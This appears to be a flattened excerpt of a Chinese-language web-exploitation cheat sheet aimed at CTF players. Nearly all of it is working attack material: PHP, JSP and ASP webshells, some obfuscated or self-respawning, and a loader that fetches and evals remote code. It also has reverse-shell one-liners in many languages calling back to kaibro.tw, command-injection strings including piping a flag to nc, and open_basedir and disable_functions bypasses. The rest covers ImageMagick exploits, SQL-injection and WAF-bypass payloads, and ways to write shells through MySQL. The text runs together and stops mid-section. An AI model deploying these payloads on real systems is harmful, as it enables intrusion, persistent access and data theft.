<?php system($_GET["cmd"]); ?>
<?php system($_GET[1]); ?>
<?php system("`$_GET[1]`"); ?>
<?= system($_GET[cmd]);
<?=`$_GET[1]`;
<?php eval($_POST[cmd]);?>
<?php echo `$_GET[1]`;
<?php echo passthru($_GET['cmd']);
<?php echo shell_exec($_GET['cmd']);
<?php eval(str_rot13('riny($_CBFG[cntr]);'));?>
<script language="php">system("id"); </script>
<?php $_GET['a']($_GET['b']); ?>
// a=system&b=ls
// a=assert&b=system("ls")
<?php array_map("ass\x65rt",(array)$_REQUEST['cmd']);?>
// .php?cmd=system("ls")
<?@extract($_REQUEST);@die($f($c));?>
// .php?f=system&c=id
<?php @include($_FILES['u']['tmp_name']);
// 構造 <form action="http://x.x.x.x/shell.php" method="POST" enctype="multipart/form-data">上傳
// 把暫存檔include進來
// From: http://www.zeroplace.cn/article.asp?id=906
<?php $x=~¾¬¬º«;$x($_GET['a']); ?>
// not backdoor (assert)
// .php?a=system("ls")
echo "{${phpinfo()}}";
echo "${system(ls)}";
echo Y2F0IGZsYWc= | base64 -d | sh
// Y2F0IGZsYWc= => cat flag
echo -e "<?php passthru(\$_POST[1])?>;\r<?php echo 'A PHP Test ';" > shell.php
// cat shell.php
// <?php echo 'A PHP Test ';" ?>
echo ^<?php eval^($_POST['a']^); ?^> > a.php
// Windows echo導出一句話
<?php fwrite(fopen("gggg.php","w"),"<?php system(\$_GET['a']);");
<?php
header('HTTP/1.1 404');
ob_start();
phpinfo();
ob_end_clean();
?>
<?php
// 無回顯後門
// e.g. ?pass=file_get_contents('http://kaibro.tw/test')
ob_start('assert');
echo $_REQUEST['pass'];
ob_end_flush();
?>
<?=
// 沒有英數字的webshell
$💩 = '[[[[@@' ^ '("(/%-';
$💩(('@@['^'#!/')." /????");
A=fl;B=ag;cat $A$B
解法:restart
<?php
ignore_user_abort(true); // 忽略連線中斷
set_time_limit(0); // 設定無執行時間上限
$file = 'shell.php';
$code = '<?php eval($_POST[a]);?>';
while(md5(file_get_contents($file)) !== md5($code)) {
if(!file_exists($file)) {
file_put_contents($file, $code);
}
usleep(50);
}
?>
解法:restart
<?php
unlink(__FILE__);
ignore_user_abort(true);
set_time_limit(0);
$remote_file = 'http://xxx/xxx.txt';
while($code = file_get_contents($remote_file)){
@eval($code);
sleep(5);
};
?>
<%Runtime.getRuntime().exec(request.getParameter("i"));%>
<%
if("kaibro".equals(request.getParameter("pwd"))) {
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%>
<%\u0052\u0075\u006E\u0074\u0069\u006D\u0065\u002E\u0067\u0065\u0074\u0052\u0075\u006E\u0074\u0069\u006D\u0065\u0028\u0029\u002E\u0065\u0078\u0065\u0063\u0028\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u002E\u0067\u0065\u0074\u0050\u0061\u0072\u0061\u006D\u0065\u0074\u0065\u0072\u0028\u0022\u0069\u0022\u0029\u0029\u003B%>
(效果同 <%Runtime.getRuntime().exec(request.getParameter("i"));%>)
<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page"
version="1.2">
<jsp:directive.page contentType="text/html"/>
<jsp:declaration>
</jsp:declaration>
<jsp:scriptlet>
Runtime.getRuntime().exec(request.getParameter("i"));
</jsp:scriptlet>
<jsp:text>
</jsp:text>
</jsp:root>
Lo%C2%A7%C2%94%C2%93@%C2%A5%C2%85%C2%99%C2%A2%C2%89%C2%96%C2%95~%7F%C3%B1K%C3%B0%7F@%C2%85%C2%95%C2%83%C2%96%C2%84%C2%89%C2%95%C2%87~%7F%C2%83%C2%97%C3%B0%C3%B3%C3%B7%7Fon%25L%C2%91%C2%A2%C2%97z%C2%99%C2%96%C2%96%C2%A3@%C2%A7%C2%94%C2%93%C2%95%C2%A2z%C2%91%C2%A2%C2%97~%7F%C2%88%C2%A3%C2%A3%C2%97zaa%C2%91%C2%81%C2%A5%C2%81K%C2%A2%C2%A4%C2%95K%C2%83%C2%96%C2%94a%C3%91%C3%A2%C3%97a%C3%97%C2%81%C2%87%C2%85%7F%25@@%C2%A5%C2%85%C2%99%C2%A2%C2%89%C2%96%C2%95~%7F%C3%B1K%C3%B2%7Fn%25L%C2%91%C2%A2%C2%97z%C2%84%C2%89%C2%99%C2%85%C2%83%C2%A3%C2%89%C2%A5%C2%85K%C2%97%C2%81%C2%87%C2%85@%C2%83%C2%96%C2%95%C2%A3%C2%85%C2%95%C2%A3%C3%A3%C2%A8%C2%97%C2%85~%7F%C2%A3%C2%85%C2%A7%C2%A3a%C2%88%C2%A3%C2%94%C2%93%7Fan%25L%C2%91%C2%A2%C2%97z%C2%84%C2%85%C2%83%C2%93%C2%81%C2%99%C2%81%C2%A3%C2%89%C2%96%C2%95n%25La%C2%91%C2%A2%C2%97z%C2%84%C2%85%C2%83%C2%93%C2%81%C2%99%C2%81%C2%A3%C2%89%C2%96%C2%95n%25L%C2%91%C2%A2%C2%97z%C2%A2%C2%83%C2%99%C2%89%C2%97%C2%A3%C2%93%C2%85%C2%A3n%25%C3%99%C2%A4%C2%95%C2%A3%C2%89%C2%94%C2%85K%C2%87%C2%85%C2%A3%C3%99%C2%A4%C2%95%C2%A3%C2%89%C2%94%C2%85M%5DK%C2%85%C2%A7%C2%85%C2%83M%C2%99%C2%85%C2%98%C2%A4%C2%85%C2%A2%C2%A3K%C2%87%C2%85%C2%A3%C3%97%C2%81%C2%99%C2%81%C2%94%C2%85%C2%A3%C2%85%C2%99M%7F%C2%89%7F%5D%5D%5E%25La%C2%91%C2%A2%C2%97z%C2%A2%C2%83%C2%99%C2%89%C2%97%C2%A3%C2%93%C2%85%C2%A3n%25L%C2%91%C2%A2%C2%97z%C2%A3%C2%85%C2%A7%C2%A3n%25La%C2%91%C2%A2%C2%97z%C2%A3%C2%85%C2%A7%C2%A3n%25La%C2%91%C2%A2%C2%97z%C2%99%C2%96%C2%96%C2%A3n%25
(效果同上 JSPX webshell: Runtime.getRuntime().exec(request.getParameter("i"));)
${Runtime.getRuntime().exec("touch /tmp/pwned")}
<%eval request("kaibro")%>
<%execute request("kaibro")%>
<%ExecuteGlobal request("kaibro")%>
<%response.write CreateObject("WScript.Shell").Exec(Request.QueryString("cmd")).StdOut.Readall()%>
<%@ Page Language="Jscript"%><%eval(Request.Item["kaibro"],"unsafe");%>
<%if (Request.Files.Count!=0){Request.Files[0].SaveAs(Server.MapPath(Request["f"]));}%>
本機Listen Port
ncat -vl 5566Perl
perl -e 'use Socket;$i="kaibro.tw";$p=5566;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'Bash
bash -i >& /dev/tcp/kaibro.tw/5566 0>&1bash -c 'bash -i >& /dev/tcp/kaibro.tw/5566 0>&1'0<&196;exec 196<>/dev/tcp/kaibro.tw/5566; sh <&196 >&196 2>&196PHP
php -r '$sock=fsockopen("kaibro.tw",5566);exec("/bin/sh -i <&3 >&3 2>&3");'NC
nc -e /bin/sh kaibro.tw 5566Telnet
mknod backpipe p && telnet kaibro.tw 5566 0<backpipe | /bin/bash 1>backpipePython
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("kaibro.tw",5566));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'Ruby
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("kaibro.tw","5566");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'Node.js
var net = require("net"), sh = require("child_process").exec("/bin/bash"); var client = new net.Socket(); client.connect(5566, "kaibro.tw", function(){client.pipe(sh.stdin);sh.stdout.pipe(client); sh.stderr.pipe(client);});require('child_process').exec("bash -c 'bash -i >& /dev/tcp/kaibro.tw/5566 0>&1'");Java
Runtime r = Runtime.getRuntime();Process p = r.exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/kaibro.tw/5278;cat <&5 | while read line; do $line 2>&5 >&5; done"});p.waitFor();java.lang.Runtime.exec() payload generator: http://www.jackson-t.ca/runtime-exec-payloads.htmlPowershell
powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c kaibro.tw -p 5566 -e cmd<? ?>
<?=
PHP 5.4.0起,always work!<% %>、<%=
PHP 7.0.0起,被移除asp_tags設成On<script language="php"
PHP 7.0.0起,被移除<script language="php">system("id"); </script>var_dump('0xABCdef' == ' 0xABCdef');
var_dump('0010e2' == '1e3’);
strcmp([],[])
sha1([])
'123' == 123
'abc' == 0
'123a' == 123
'0x01' == 1
var_dump('0x01' == 1) => false'' == 0 == false == NULL
md5([1,2,3]) == md5([4,5,6]) == NULL
var_dump(md5(240610708));
var_dump(sha1(10932435112));
$a="123"; $b="456"
$a + $b == "579";$a . $b == "123456"$a = 0; $b = 'x';
$a == false => true$a == $b => true$b == true => true$a = 'a'
++$a => 'b'$a+1 => 1intval('1000000000000') => 2147483647intval('100000000000000000000') => 9223372036854775807php -r "var_dump(1.000000000000001 == 1);"
php -r "var_dump(1.0000000000000001 == 1);"
$a = 0.1 * 0.1; var_dump($a == 0.01);
var_dump(ereg("^[a-zA-Z0-9]+$", "1234\x00-!@#%"));
1ereg 和 eregi 在 PHP 7.0.0 已經被移除var_dump(intval('5278.8787'));
5278intval(012) => 10intval("012") => 12extract($_GET);
.php?_SESSION[name]=adminecho $_SESSION['name'] => 'admin'" " (0x20)"\t" (0x09)"\n" (0x0A)"\x0B" (0x0B)"\r" (0x0D)"\0" (0x00)"\f" (0x0C)
is_numeric() 允許 \f 在開頭is_numeric(" \t\r\n 123") => true
is_numeric(' 87') => true
is_numeric('87 ') => false
is_numeric(' 87 ') => false
is_numeric('0xdeadbeef')
falsetrue以下亦為合法(返回 True)字串:
' -.0''0.'' +2.1e5'' -1.5E+25''1.e5'in_array('5 or 1=1', array(1, 2, 3, 4, 5))
in_array('kaibro', array(0, 1, 2))
in_array(array(), array('kai'=>false))
in_array(array(), array('kai'=>null))
in_array(array(), array('kai'=>0))
in_array(array(), array('kai'=>'bro'))
in_array('kai', array('kai'=>true))
in_array('kai', array('kai'=>'bro'))
in_array('kai', array('kai'=>0))
in_array('kai', array('kai'=>1))
mixed array_search(mixed $needle , array $haystack [, bool $strict = false ])
haystack 陣列中,搜尋 needle 的值,成功則返回 index,失敗返回 False$strict 為 false 時,採用不嚴格比較
$arr=array(1,2,0); var_dump(array_search('kai', $arr))
int(2)$arr=array(1,2,0); var_dump(array_search('1', $arr))
int(0)parse_str(string, array)
會把查詢字串解析到變數中
如果未設置第二個參數,會解析到同名變數中
E_DEPRECATED警告parse_str('gg[kaibro]=5566');
array(1) {
["kaibro"]=>
string(4) "5566"
}
PHP 變數有空格和.,會被轉成底線
parse_str("na.me=kaibro&pass wd=ggininder",$test);
var_dump($test);
array(2) {
["na_me"]=> string(6) "kaibro"
["pass_wd"]=> string(9) "ggininder"
}
在處理傳入的 URL 會有問題
parse_url('/a.php?id=1')
array(2) {
["host"]=>
string(5) "a.php"
["query"]=>
string(4) "id=1"
}
parse_url('//a/b')
aparse_url('..//a/b/c:80')
..80//a/b/c:80parse_url('///a.php?id=1')
parse_url('/a.php?id=1:80')
false array(2) {
["path"]=> string(6) "/a.php"
["query"]=> string(7) "id=1:80"
}
parse_url('http://kaibro.tw:87878')
array(3) {
["scheme"]=> string(4) "http"
["host"]=> string(9) "kaibro.tw"
["port"]=> int(22342)
}
mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
$subject 中匹配的 $pattern,並用 $replacement 替換/e 修飾符,$replacement 會被當成 PHP code 執行
E_DEPRECATED 錯誤preg_replace_callback() 代替example:
<?php
$a='phpkaibro';
echo preg_replace('/(.*)kaibro/e','\\1info()',$a);
%\、%'、%1$\'%' and 1=1# 中的單引號會被轉義成 \',%\ 又會被吃掉,' 成功逃逸default 不處理<?php
$test = $_GET['txt'];
if(preg_match('[<>?]', $test)) die('bye');
file_put_contents('output', $test);
?txt[]=<?php phpinfo(); ?>寫入spl_autoload_register() 可以自動載入 Class.inc 和 .phpspl_autoload_register() 會把這個 Class 載入進來a.php/.
file_put_contents("a.php/.", "<?php phpinfo() ?>");
file_get_contents("a.php/.");
" => .
a"php> => ?
a.p>pa.>>>< => *
a.<$_GET 會對傳入的參數做 URLdecode 再返回$_SERVER['REQUEST_URI'] 和 $_SERVER['QUERY_STRING'] 則是直接返回Example:
Request: http://kaibro.tw/test.php?url=%67%67
$_GET: [url] => gg
$_SERVER['REQUEST_URI']: /test.php?url=%67%67
$_SERVER['QUERY_STRING']: url=%67%67
透過將 PHP 腳本編譯成 Byte code 的方式做 Cache 來提升性能
相關設定在 php.ini 中
opcache.enable 是否啟用opcache.file_cache 設定 cache 目錄
opcache.file_cache="/tmp/opcache"/var/www/index.php 的暫存會放在 /tmp/opcache/[system_id]/var/www/index.php.binopcache.file_cache_only 設定 cache 文件優先級opcache.validate_timestamps 是否啟用 timestamp 驗證system_id 是透過 Zend 和 PHP 版本號計算出來的,可以確保相容性
所以在某些條件下可透過上傳覆蓋暫存文件來寫 webshell
https://github.com/GoSecure/php7-opcache-override
Example
pcre.backtrack_limit1000000preg_match() 會返回 false$file_list = array();
$it = new DirectoryIterator("glob:///*");
foreach($it as $f) {
$file_list[] = $f->__toString();
}
sort($file_list);
foreach($file_list as $f){
echo "{$f}<br/>";
}
chdir('img');
ini_set('open_basedir','..');
chdir('..');chdir('..');
chdir('..');chdir('..');
ini_set('open_basedir','/');
echo(file_get_contents('flag'));
mkdir('/var/www/html/a/b/c/d/e/f/g/',0777,TRUE);
symlink('/var/www/html/a/b/c/d/e/f/g','foo');
ini_set('open_basedir','/var/www/html:bar/');
symlink('foo/../../../../../../','bar');
unlink('foo');
symlink('/var/www/html/','foo');
echo file_get_contents('bar/etc/passwd');
Fastcgi
...
bash shellshock
mail()
sendmailmb_send_mail()
imap_mail()
imap_open()
<?php
$payload = "echo hello|tee /tmp/executed";
$encoded_payload = base64_encode($payload);
$server = "any -o ProxyCommand=echo\t".$encoded_payload."|base64\t-d|bash";
@imap_open('{'.$server.'}:143/imap}INBOX', '', '');
error_log()
message_type 為 1 時,會去調用 sendmailImageMagick
LD_PRELOAD + ghostscript:
epsLD_PRELOAD + ffpmeg
MAGICK_CODER_MODULE_PATH
MAGICK_CONFIGURE_PATH
delegates.xml 定義處理各種文件的規則<delegatemap>
<delegate decode="ps:alpha" command="sh -c "/readflag > /tmp/output""/>
</delegatemap>
蓋PATH + ghostscript:
#include <stdlib.h>
#include <string.h>
int main() {
unsetenv("PATH");
const char* cmd = getenv("CMD");
system(cmd);
return 0;
}
putenv('PATH=/tmp/mydir');
putenv('CMD=/readflag > /tmp/mydir/output');
chmod('/tmp/mydir/gs','0777');
$img = new Imagick('/tmp/mydir/1.ept');
dl()
dl("rce.so")FFI
<?php
$ffi = FFI::cdef("int system (const char* command);");
$ffi->system("id");
Windows COM
com.allow_dcom = trueextension=php_com_dotnet.dll<?php
$command = $_GET['cmd'];
$wsh = new COM('WScript.shell'); // Shell.Application 也可
$exec = $wsh->exec("cmd /c".$command);
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
iconv
.so, gconv-modulesiconv(), iconv_strlen(), php://filter的convert.iconvPHP SplDoublyLinkedList UAF Sandbox Escape
族繁不及備載......
大小寫不敏感
<?PhP sYstEm(ls);echo (true ? 'a' : false ? 'b' : 'c');
becho `whoami`;
kaibro正規表達式 . 不匹配換行字元 %0a
正規表達式常見誤用:
preg_match("/\\/", $str)\\\\ 而不是 \\運算優先權問題
$a = true && false;
$a => false$a = true and false;
$a => truechr()
chr(259) === chr(3)chr(-87) === chr(169)遞增
$a="9D9"; var_dump(++$a);
string(3) "9E0"$a="9E0"; var_dump(++$a);
float(10)算數運算繞Filter
%f3%f9%f3%f4%e5%ed & %7f%7f%7f%7f%7f%7f
system$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`');
assert~, ++等運算,也都可用類似概念構造花括號
$array{index} 同 $array[index]filter_var
filter_var('http://evil.com;google.com', FILTER_VALIDATE_URL)
filter_var('0://evil.com;google.com', FILTER_VALIDATE_URL)
filter_var('"aaaaa{}[]()\'|!#$%*&^-_=+`,."@b.c',FILTER_VALIDATE_EMAIL)
"aaaaa{}[]()'|!#$%*&^-_=+,."@b.c` (OK)filter_var('aaa."bbb"@b.c',FILTER_VALIDATE_EMAIL)
aaa."bbb"@b.c (OK)filter_var('aaa"bbb"@b.c',FILTER_VALIDATE_EMAIL)
json_decode
\uxxxx形式
json_decode('{"a":"\u0041"}')=== bug
var_dump([0 => 0] === [0x100000000 => 0])
openssl_verify
Namespace
\\system('ls');basename (php bug 62119)
basename("index.php/config.php/喵")
config.phpstrip_tags (php bug 78814)
strip_tags("<s/trong>b</strong>", "<strong>")
<s/trong>b</strong>mb_strpos / mb_substr
mb_strpos 讀到 utf-8 leading byte ,他會繼續嘗試往下讀; 遇到 invalid byte 時,前面的內容會被當成一個 character
mb_strpos("\xf0\x9fAAA<BB", '<') -> 4mb_substr 則有不一致,當遇到 leading byte 時,會跳過 continuation bytes
mb_substr("\xf0\x9fAAA<BB", 0, 4) -> "\xf0\x9fAAA<B"Reflection
<?php
class ApiController
{
protected function protectedMethod() {
echo "protected";
}
public function handle($method)
{
$refMethod = new ReflectionMethod($this, $method);
$refMethod->invoke($this);
}
}
$api = new ApiController();
$api->handle('protectedMethod');
# php 8.1+: protected
# < php 8.1: Fatal error
| cat flag
&& cat flag
; cat flag
%0a cat flag
"; cat flag
`cat flag`
cat $(ls)
"; cat $(ls)
`cat flag | nc kaibro.tw 5278`
. flag
PS1=$(cat flag)
`echo${IFS}${PATH}|cut${IFS}-c1-1`
=> /
? match one character
cat fl?g/???/??t /???/p??s??* match 多個
cat f*cat f?a*${IFS}
cat${IFS}flagls$IFS-alhcat$IFS$2flagcat</etc/passwd{cat,/etc/passwd}X=$'cat\x20/etc/passwd'&&$XIFS=,;`cat<<<uname,-a`
String Concat
A=fl;B=ag;cat $A$BEmpty Variable
cat fl${x}agcat tes$(z)t/flagEnvironment Variable
$PATH => "/usr/local/….blablabla”
${PATH:0:1} => '/'${PATH:1:1} => 'u'${PATH:0:4} => '/usr'${PS2}
>${PS4}
+Empty String
cat fl""agcat fl''ag
cat "fl""ag"反斜線
c\at fl\agmvg 格式包含 https 處理(使用 curl 下載),可以閉合雙引號push graphic-context
viewbox 0 0 640 480
fill 'url(https://kaibro.tw";ls "-la)'
pop graphic-context
Some Debians appear to have insecure ImageMagick configuration by default<?xml version="1.0" encoding="UTF-8"?>
<svg width="120px" height="120px">
<image width="120" height="120" href="text:/etc/passwd" />
</svg>
<image> <!-- ImageMagick's legend is "image processing" so the tag is named "image". -->
<read filename="image.png" /> <!-- To make the legend more compelling "image.png" is checked to be a valid image file. -->
<write filename="/var/www/html/shell.php" /> <!-- This line gives access to a hacker accomplishing the mission of the MSL format and ImageMagick in general -->
</image>
open("| ls")IO.popen("ls").readKernel.exec("ls")Kernel.method("open").call("|ls").read()`ls`system("ls")eval("ruby code")
$$/$$ => 1'' << 97 << 98 << 99 => "abc"$:即$LOAD_PATHexec("ls")%x{ls} / %x'ls' / %x[ls] / %x(ls) / %x;ls;"Process".constantize.spawn("id")Process.spawn("id")PTY.spawn("id")Kernel#openos.system("ls")os.popen("ls").read()os.execl("/bin/ls","")os.execlp("ls","")os.execv("/bin/ls",[''])os.execvp("/bin/ls",[""])subprocess.call("ls")
subprocess.call("ls|cat",shell=False) => Failsubprocess.call("ls|cat",shell=True) => Correcteval("__import__('os').system('ls')")exec("__import__('os').system('ls')")commands.getoutput('ls')子字串:
substr("abc",1,1) => 'a'mid("abc", 1, 1) => 'a'Ascii function
ascii('A') => 65 Char function
char(65) => 'a'Concatenation
CONCAT('a', 'b') => 'ab'
CONCAT_WS(分隔符, 字串1, 字串2...)
CONCAT_WS('@', 'gg', 'inin') => gg@ininCast function
CAST('125e342.83' AS signed) => 125CONVERT('23',SIGNED) => 23Delay function
sleep(5)BENCHMARK(count, expr)空白字元
09 0A 0B 0C 0D A0 20File-read function
LOAD_FILE('/etc/passwd')LOAD DATA INFILE
secure_file_priv, FILE privilege 限制 (ref: link)LOAD DATA LOCAL INFILE
Server 讀 Client 文件
LOAD DATA LOCAL INFILE '/etc/hosts' INTO TABLE test FIELDS TERMINATED BY "\n";
不需要 FILE privilege,且任意目錄檔案皆可讀 (只要 Client 有權限即可)
support UNC Path
LOAD DATA LOCAL INFILE '\\\\172.16.136.153\\test' into table mysql.test FIELDS TERMINATED BY "\n";
Trigger phar deserialization
LOAD DATA LOCAL INFILE 'phar://test.phar/test' INTO TABLE a LINES TERMINATED BY '\n'[mysqld]
local-infile=1
secure_file_priv=""
Tool
Example
load_file('//kaibro.tw@9478/meow.php') / load_file('\\\\kaibro.tw@9478/meow.php')
@ 指定 Port)File-write
INTO DUMPFILE
INTO OUTFILE
UNION SELECT "<? system($_GET[1]);?>",2,3 INTO OUTFILE "/var/www/html/temp/shell.php"SELECT file_priv FROM mysql.usersecure_file_priv=E:\
secure_file_priv=null
SET global general_log='on';
SET global general_log_file='C:/phpStudy/WWW/cmd.php';
SELECT '<?php assert($_POST["cmd"]);?>';
IF語句
SELECT IF (1=1,'true','false')Hex
SELECT X'5061756c'; => paulSELECT 0x5061756c; => paulSELECT 0x5061756c+0 => 1348564332SELECT load_file(0x2F6574632F706173737764);
' => \')'admin' => CHAR(97, 100, 109, 105, 110)註解:
#--/**/
*/ 可以閉合前面多個 /*/*! 50001 select * from test */
SELECT /*!32302 1/0, */ 1 FROM tablename;
information_schema
Stacking Query
其它:
select group_concat(username) from users; 一次返回所有使用者名SELECT json_arrayagg(concat_ws(0x3a,table_schema,table_name)) from INFORMATION_SCHEMA.TABLESgreatest(a, b)返回 a, b 中最大的greatest(1, 2)=2
greatest(1, 2)=1
greatest(1, 2) between 1 and 3
SELECT 'abc' regexp '.*'
*_ci case insensitive collation 不區分大小寫*_cs case sensitive collation 區分大小寫*_bin binary case sensitive collation 區分大小寫Union Based
union select 1,2,3...Norder by N 找最後一個成功的 NAND 1=2 UNION SELECT 1, 2, password FROM admin--+LIMIT N, M 跳過前 N 筆,抓 M 筆union select 1,2,schema_name from information_schema.schemata limit 1,1union select 1,2,table_name from information_schema.tables where table_schema='mydb' limit 0,1union select 1,2,table_name from information_schema.columns where table_schema='mydb' limit 0,1union select 1,2,column_name from information_schema.columns where table_schema='mydb' limit 0,1SELECT CONCAT(user, ":" ,password) FROM mysql.user;Error Based
#define ERRMSGSIZE (512)SELECT ~0 => 18446744073709551615SELECT ~0 + 1 => ERRORSELECT exp(709) => 8.218407461554972e307SELECT exp(710) => ERRORSELECT exp(~(SELECT * FROM (SELECT user())x));ERROR 1690(22003):DOUBLE value is out of range in 'exp(~((SELECT 'root@localhost' FROM dual)))'select (select(!x-~0)from(select(select user())x)a);
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not('root@localhost')) - ~(0))'select extractvalue(1,concat(0x7e,(select @@version),0x7e));ERROR 1105 (HY000): XPATH syntax error: '~5.7.17~'select updatexml(1,concat(0x7e,(select @@version),0x7e),1);ERROR 1105 (HY000): XPATH syntax error: '~5.7.17~'select count(*) from test group by concat(version(),floor(rand(0)*2));
ERROR 1062 (23000): Duplicate entry '5.7.171' for key '<group_key>'select ST_LatFromGeoHash(version());select ST_LongFromGeoHash(version());select GTID_SUBSET(version(),1);select GTID_SUBTRACT(version(),1);select ST_PointFromGeoHash(version(),1);information_schema 等關鍵字時,可以用下面方法爆庫名
select 1,2,3 from users where 1=abc();
ERROR 1305 (42000): FUNCTION fl4g.abc does not existselect 1,2,3 from users where Polygon(id);select 1,2,3 from users where linestring(id);
ERROR 1367 (22007): Illegal non geometric '`fl4g`.`users`.`id`' value found during parsingselect 1,2,3 from users where (select * from (select * from users as a join users as b)as c);
ERROR 1060 (42S21): Duplicate column name 'id'select 1,2,3 from users where (select * from (select * from users as a join users as b using(id))as c);
ERROR 1060 (42S21): Duplicate column name 'username'Blind Based (Time/Boolean)
id=87 and length(user())>0id=87 and length(user())>100id=87 and ascii(mid(user(),1,1))>100id=87 or ((select user()) regexp binary '^[a-z]')id=87 and if(length(user())>0, sleep(10), 1)=1id=87 and if(length(user())>100, sleep(10), 1)=1id=87 and if(ascii(mid(user(),1,1))>100, sleep(10), 1)=1Out of Bnad
select load_file(concat("\\\\",schema_name,".dns.kaibro.tw/a")) from information_schema.schemata繞過空白檢查
id=-1/**/UNION/**/SELECT/**/1,2,3id=-1%09UNION%0DSELECT%0A1,2,3id=(-1)UNION(SELECT(1),2,3)寬字節注入
addslashes() 會讓 ' 變 \'GBK 編碼中,中文字用兩個 Bytes 表示
0x5c(\)%df' => %df\' => 運' (成功逃逸)Order by注入
asc、desc 簡單判斷
?sort=1 asc?sort=1 desc?order=IF(1=1, username, password)?order=IF(1=1,1,(select 1 union select 2)) 正確?order=IF(1=2,1,(select 1 union select 2)) 錯誤?order=IF(1=1,1,(select 1 from information_schema.tables)) 正常?order=IF(1=2,1,(select 1 from information_schema.tables)) 錯誤?order=if(1=1,1,(SELECT(1)FROM(SELECT(SLEEP(2)))test)) 正常?order=if(1=2,1,(SELECT(1)FROM(SELECT(SLEEP(2)))test)) sleep 2秒group by with rollup
' or 1=1 group by pwd with rollup limit 1 offset 2#將字串轉成純數字
conv(hex(YOUR_DATA), 16, 10)unhex(conv(DEC_DATA,10,16))不使用逗號
LIMIT N, M => LIMIT M OFFSET Nmid(user(), 1, 1) => mid(user() from 1 for 1)UNION SELECT 1,2,3 => UNION SELECT * FROM ((SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c)快速查找帶關鍵字的表
select table_schema,table_name,column_name from information_schema.columns where table_schema !=0x696E666F726D6174696F6E5F736368656D61 and table_schema !=0x6D7973716C and table_schema !=0x706572666F726D616E63655F736368656D61 and (column_name like '%pass%' or column_name like '%pwd%'); 不知列名、不能訪問 information_schema 爆數據
select title from article where id = 4 and 0 union SELECT group_concat(a, 0x3a, b) FROM (SELECT 1 a,2 b,3 c UNION SELECT * FROM admin)xinnodb
select table_name from mysql.innodb_table_stats where database_name=資料庫名;sys
sys.statements_with_full_table_scansselect query from sys.statements_with_full_table_scansBypass WAF
select password => SelEcT password (大小寫)select password => select/**/password (繞空白)select password => s%65lect%20password (URLencode)select password => select(password) (繞空白)select password => select%0apassword (繞空白)
select password from admin => select password /*!from*/ admin (MySQL註解)information_schema.schemata => `information_schema`.schemata (繞關鍵字/空白)
select xxx from`information_schema`.schemataselect pass from user where id='admin' => select pass from user where id=0x61646d696e (繞引號)
id=concat(char(0x61),char(0x64),char(0x6d),char(0x69),char(0x6e))?id=0e2union select 1,2,3 (科學記號)
?id=1union select 1,2,3會爛?id=0e1union(select~1,2,3) (~)?id=.1union select 1,2,3 (點)WHERE => HAVING (繞關鍵字)AND => && (繞關鍵字)
OR => ||= => LIKEa = 'b' => not a > 'b' and not a < 'b'> 10 => not between 0 and 10LIMIT 0,1 => LIMIT 1 OFFSET 0 (繞逗號)
substr('kaibro',1,1) => substr('kaibro' from 1 for 1)phpMyAdmin
select "<?php phpinfo();?>" INTO OUTFILE "c:\\phpstudy\\www\\shell.php"set global general_log = "ON";set global general_log_file = "/var/www/html/shell.php";select "<?php phpinfo();?>";set GLOBAL slow_query_log_file='/var/www/html/shell.php';set GLOBAL slow_query_log=on;select '<?php phpinfo();?>' from mysql.db where sleep(10);CREATE DATABASE foo;CREATE TABLE foo.bar (baz VARCHAR(100) PRIMARY KEY );INSERT INTO foo.bar SELECT '<?php phpinfo(); ?>';/chk_rel.php?fixall_pmadb=1&db=fooINSERT INTO` pma__column_infoSELECT '1', 'foo', 'bar', 'baz', 'plop','plop', ' plop', 'plop','../../../../../../../../tmp/sess_{SESSIONID}','plop';/tbl_replace.php?db=foo&table=bar&where_clause=1=1&fields_name[multi_edit][][]=baz&clause_is_unique=1index.php?target=db_sql.php%253f/../../../../../../windows/system.iniindex.php?target=sql.php%253f/../../../tmp/tmp/sess_16rme70p2qqnqjnhdiq3i6unu
phpMyAdmin 得到preg_replace RCEgis_data_editor.php?token=2941949d3768c57b4342d94ace606e91&gis_data[gis_type]=/../../../../phpinfo.txt%00 (需修改token)'localhost'@'@"子字串:
SUBSTRING("abc", 1, 1) => 'a'Ascii function
ascii('A') => 65 Char function
char(65) => 'a'Concatenation
+'a'+'b' => 'ab'Delay function
WAITFOR DELAY '0:0:10'空白字元
01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20IF 語句
IF (1=1) SELECT 'true' ELSE SELECT 'false'註解:
--/**/TOP
LIMIT N, M 的用法SELECT TOP 87 * FROM xxx 取最前面 87 筆SELECT pass FROM (SELECT pass, ROW_NUMBER() OVER (ORDER BY (SELECT 1)) AS LIMIT FROM mydb.dbo.mytable)x WHERE LIMIT between 78 and 87其它:
查詢用戶
select name, loginame from master..syslogins, master..sysprocesses查用戶密碼
select user,password from master.dbo.syslogins當前角色是否為資料庫管理員
SELECT is_srvrolemember('sysadmin')當前角色是否為db_owner
SELECT IS_MEMBER('db_owner')爆DB name
